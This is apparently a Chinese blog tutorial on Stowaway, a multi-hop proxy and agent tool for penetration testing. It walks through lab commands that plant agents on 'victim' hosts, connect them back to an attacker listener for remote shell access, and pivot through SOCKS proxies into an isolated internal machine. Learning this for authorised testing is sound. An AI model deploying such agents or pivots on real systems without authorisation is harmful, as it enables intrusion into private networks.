LOADING

正在加载

Stowaway工具

壹 工具说明

Stowaway是一个利用go语言编写、专为渗透测试工作者制作的多级代理工具,用户可使用此程序将外部流量通过多个节点代理至内网,突破内网访问限制,构造树状节点网络,并轻松实现管理功能,算是Venom升级吧!(百度的,没用过Venom),不过挺喜欢他的节点管理和多层代理概念的,像npsfrpiox就不能做多层代理;nps比较大,10MB左右;frp配置多,iox没用过,后面用了再说,Stowaway使用自定义协议和加密算法,提供更加安全和隐秘的通信方式。

  • 角色

    • Stowaway一共包含两种角色,分别是:
    • admin 渗透测试者使用的主控端,也就是管理agent端,类似与cobaltstriketeamserver
    • agent 渗透测试者部署的被控端,也就是小弟,类似与cobaltstrike的弱鸡。
  • 名词定义

    • 节点:就两个adminagent
    • 主动模式:指当前操作的节点主动连接另一个节点,也就正向连接
    • 被动模式:指当前操作的节点监听某个端口,等待另一个节点连接,即反向连接
    • 上游:因为Stowaway的节点连接是一种类似与树型分布的,即上游指当前操作的节点与其父节点之间的流量
    • 下游:指当前操作的节点与其所有子节点之间的流量
  • 特点:

    • 管理端更加友好的交互,支持命令补全/历史
    • 一目了然的节点树管理
    • 丰富的节点信息展示
    • 节点间正向/反向连接
    • 节点间支持重连
    • 节点间可通过socks5代理进行连接
    • 节点间可通过ssh隧道连接
    • 节点间流量可选择TCP/HTTP
    • 多级socks5流量代理转发,支持UDP/TCP,IPV4/IPV6
    • 节点支持ssh访问远程主机
    • 远程shell
    • 上传及下载文件
    • 端口本地/远程映射
    • 节点可端口复用
    • 自由开关各类服务
    • 节点间相互认证
    • 节点间流量以AES-256-GCM进行加密
    • 相较于v1.0,文件体积减小25%
    • 支持各类平台(Linux/Mac/Windows/MIPS/ARM)
  • 缺点:

    • 暂不不支持免杀
    • 结构及代码结构不够严谨,功能可能存在bug
    • admin不在线时,新节点将不允许加入
    • admin仅支持一个直接连接的agent节点,agent节点则无此限制,一般再自己机器上搭建第一个agent节点
    • 如果用户使用windows下的admin端,请先下载ansicon,或者在这里下载,之后进入对应系统位数的文件夹,执行ansicon.exe -i即可,不然admin端会出现乱码的问题

贰 工具适用场景

代理工具就是代理啊!

叁 安装说明

官方地址:Stowaway

源码:Stowaway-master.zip,不想编译的盆油可以直接用release下编译完成的程序。

肆 工具参数说明

  • admin
参数:
-l 被动模式下的监听地址[ip]:<port>
-c 主动模式下的目标节点地址
-s 节点通信加密密钥,所有节点(admin&&agent)必须一致
--proxy socks5代理服务器地址
--proxyu socks5代理服务器用户名(可选)
--proxyp socks5代理服务器密码(可选)
--down 下游协议类型,默认为裸TCP流量,可选HTTP
  • agent
参数:
-l 被动模式下的监听地址[ip]:<port>
-c 主动模式下的目标节点地址
-s 节点通信加密密钥
--proxy socks5代理服务器地址
--proxyu socks5代理服务器用户名(可选)
--proxyp socks5代理服务器密码(可选)
--reconnect 重连时间间隔
--rehost 端口复用时复用的IP地址
--report 端口复用时复用的端口号
--up 上游协议类型,默认为裸TCP流量,可选HTTP
--down 下游协议类型,默认为裸TCP流量,可选HTTP
--cs 运行平台的shell编码类型,默认为utf-8,可选gbk

伍 工具使用

5.1 主动和连接被动连接

-l-cadmin&&agent用法一致,分别是主动模式(-l)、被动模式(-c),两个参数都需要IP:port,但是-l是监听,若不指定IP地址,则默认监听在0.0.0.0上,而-cIP:port是希望连接到的节点IP:port,个人的建议是使用admin端为主动模式,agent端为被动模式,第一个agent端放在vps或者自己的pc上,因为这样稳定,而且可以用代理,如果admin端掉线了,agent端不会掉线,但是admin端使用被动模式,agent端掉线,admin端也会掉线。

  • 使用:
    • -l
      • admin:./stowaway_admin -l 9999 or ./stowaway_admin -l 127.0.0.1:9999
      • agent:./stowaway_agent -l 9999 or ./stowaway_agent -l 127.0.0.1:9999
    • -c
      • admin:./stowaway_admin -c 希望连接到的节点IP:9999
      • agent:./stowaway_agent -c 希望连接到的节点IP:9999

5.2 加密

-s这个参数在admin&&agent用法一致,均可用在主动&&被动模式下,为可选选项,若为空,则代表通信不被加密,反之则通信基于用户所给出的密钥加密,需要注意的是密码需要全部结点一致才能连接

  • 使用:
    • -s
      • admin:./stowaway_admin -l 9999 -s 123 or ./stowaway_admin -c 希望连接到的节点:9999 -s 123
      • agent:./stowaway_agent -l 9999 -s 123 or ./stowaway_agent -c 希望连接到的节点:9999 -s 123

5.3 socks5代理

--proxy/--proxyu/--proxyp这三个参数在admin&&agent用法一致,仅用在主动模式下,参数详细介绍看参数解析。

  • 使用:
    • 无用户名密码:

      • admin: ./stowaway_admin -c 希望连接到的节点:9999 --proxy xxx.xxx.xxx.xxx
      • agent: ./stowaway_agent -c 希望连接到的节点:9999 --proxy xxx.xxx.xxx.xxx
    • 有用户名密码:

      • admin: ./stowaway_admin -c 希望连接到的节点:9999 --proxy xxx.xxx.xxx.xxx --proxyu 用户名 --proxyp 密码
      • agent: ./stowaway_agent -c 希望连接到的节点:9999 --proxy xxx.xxx.xxx.xxx --proxyu 用户名 --proxyp 密码

如果我们进入了内网机器需要设置socks5代理,只需要在admin端处进入需要代理的内网机器处设置socks <lport> [username] [pass]即可代理成功。

5.4 多层代理

当我们进入了内网机器后,需要进行多层代理时,同样分为主动模式和被动模式,在连接时,agent端的设置与前面的主被动连接一样:

  • 使用:
    • -l
      • agent:./stowaway_agent -l 9999 or ./stowaway_agent -l 127.0.0.1:9999
    • -c
      • agent:./stowaway_agent -c 希望连接到的节点IP:9999

但是admin端则不同,需要进入对应的内网机器A(注意该内网机器A能连接的我们想要连接的另一台内网机器B):

  • 使用:
    • 启动被动连接:listen
    • 启动主动连接:connect ip:port

陆 工具使用

6.1 正向连接(admin端主动模式)

假设我们需要攻击机正向连接受害机1:
893c9018901ae37a6989727ca31c434b.png
在受害机1处(agent客户端)设置监听:

./linux_x64_agent -l 9999 -s 123456

5e269979a282d4b8bcae76275061986e.png
在攻击机处(admin服务端)主动连接受害机1:

.\windows_x64_admin.exe -c 192.168.142.130:9999 -s 123456

fc834e1035eda5a14160021545487610.png
如果admin服务端出现Connection from node IP:port is set up successfully! Node id is 0说明连成功。一般我们通过topo查看拓扑图,通过use使用结点,通过shell进入客户端的机器。

6.2 反向连接(admin端被动模式)

假设我们需要攻击机反向连接受害机1:
893c9018901ae37a6989727ca31c434b.png
在攻击机处(admin服务端)设置监听:

.\windows_x64_admin.exe -l 9999 -s 123456

dde0d3bb65b4c6a4cfa569c09d608ece.png
在受害机1处(agent客户端)主动连接攻击机:

./linux_x64_agent -c 192.168.142.128:9999 -s 123456

ad06967a934b9287125df72989148b99.png
再看看攻击机处的状态:
0f769a5f94a1e7bda5dcfbe63070362d.png

6.3 设置socket代理

假设我们已经通过攻击机连接到了受害机1中(无论主动模式还是被动模式):
521aa263d5cd1fcd88c7d6ff7c56c03b.png
通过攻击机处进入受害机1结点:

use 0
socks 1080

30bd1d7bc3476efb446d79cd081ae79d.png
设置浏览器代理,并访问受害机1机器:
848b64eeb9789e7cf4277f91a58abf65.png

6.4 设置多层代理

  • 受害机2能与受害机1互相访问

这里有个场景:攻击机可以与受害机1交互,不能访问受害机2,受害机2不出网,但可以访问受害机1:
893c9018901ae37a6989727ca31c434b.png
假设我们已经通过攻击机连接到了受害机1中(无论主动模式还是被动模式):
521aa263d5cd1fcd88c7d6ff7c56c03b.png
通过攻击机处进入受害机1结点:

use 0
listen
选择选项1.Normal Passive
输入一个受害机1中未被占用的端口

2e5dc3886bbf6e498caa94051338e0ab.png
在受害机2处(agent客户端)主动连接受害机1监听的端口:

./linux_x64_agent -c 192.168.136.129:60001 -s 123456

4cc7b63a075d24545768f0afd74e506e.png
再看看攻击机处的状态,增加另一个node1结点:
c1d58f91df46ae0e09ef950f6e6bc823.png
进入node1结点查看信息为受害机2:
221a3acf9695c5e4502ef12fc4f227b3.png

  • 受害机2不能访问受害机1

这里有个场景:攻击机可以与受害机1交互,不能访问受害机2,受害机2不出网,也不能访问受害机1,但是受害机1可以访问受害机2:
893c9018901ae37a6989727ca31c434b.png
假设我们已经通过攻击机连接到了受害机1中(无论主动模式还是被动模式):
521aa263d5cd1fcd88c7d6ff7c56c03b.png
通过受害机2设置监听:

./linux_x64_agent -l 60001 -s 123456

fef190b1973320c85b932644801b6cd0.png
通过攻击机处进入受害机1结点:

use 0
connect 192.168.136.128:60001

f9c2d56e1b3df610d049cbcca20ceffc.png
多出一个结点2,并进入结点2,确认为受害机2:
0e2239d727e1dc85fb6fa7a87242f686.png

柒 参考

avatar
小C&天天

修学储能 先博后渊


今日诗句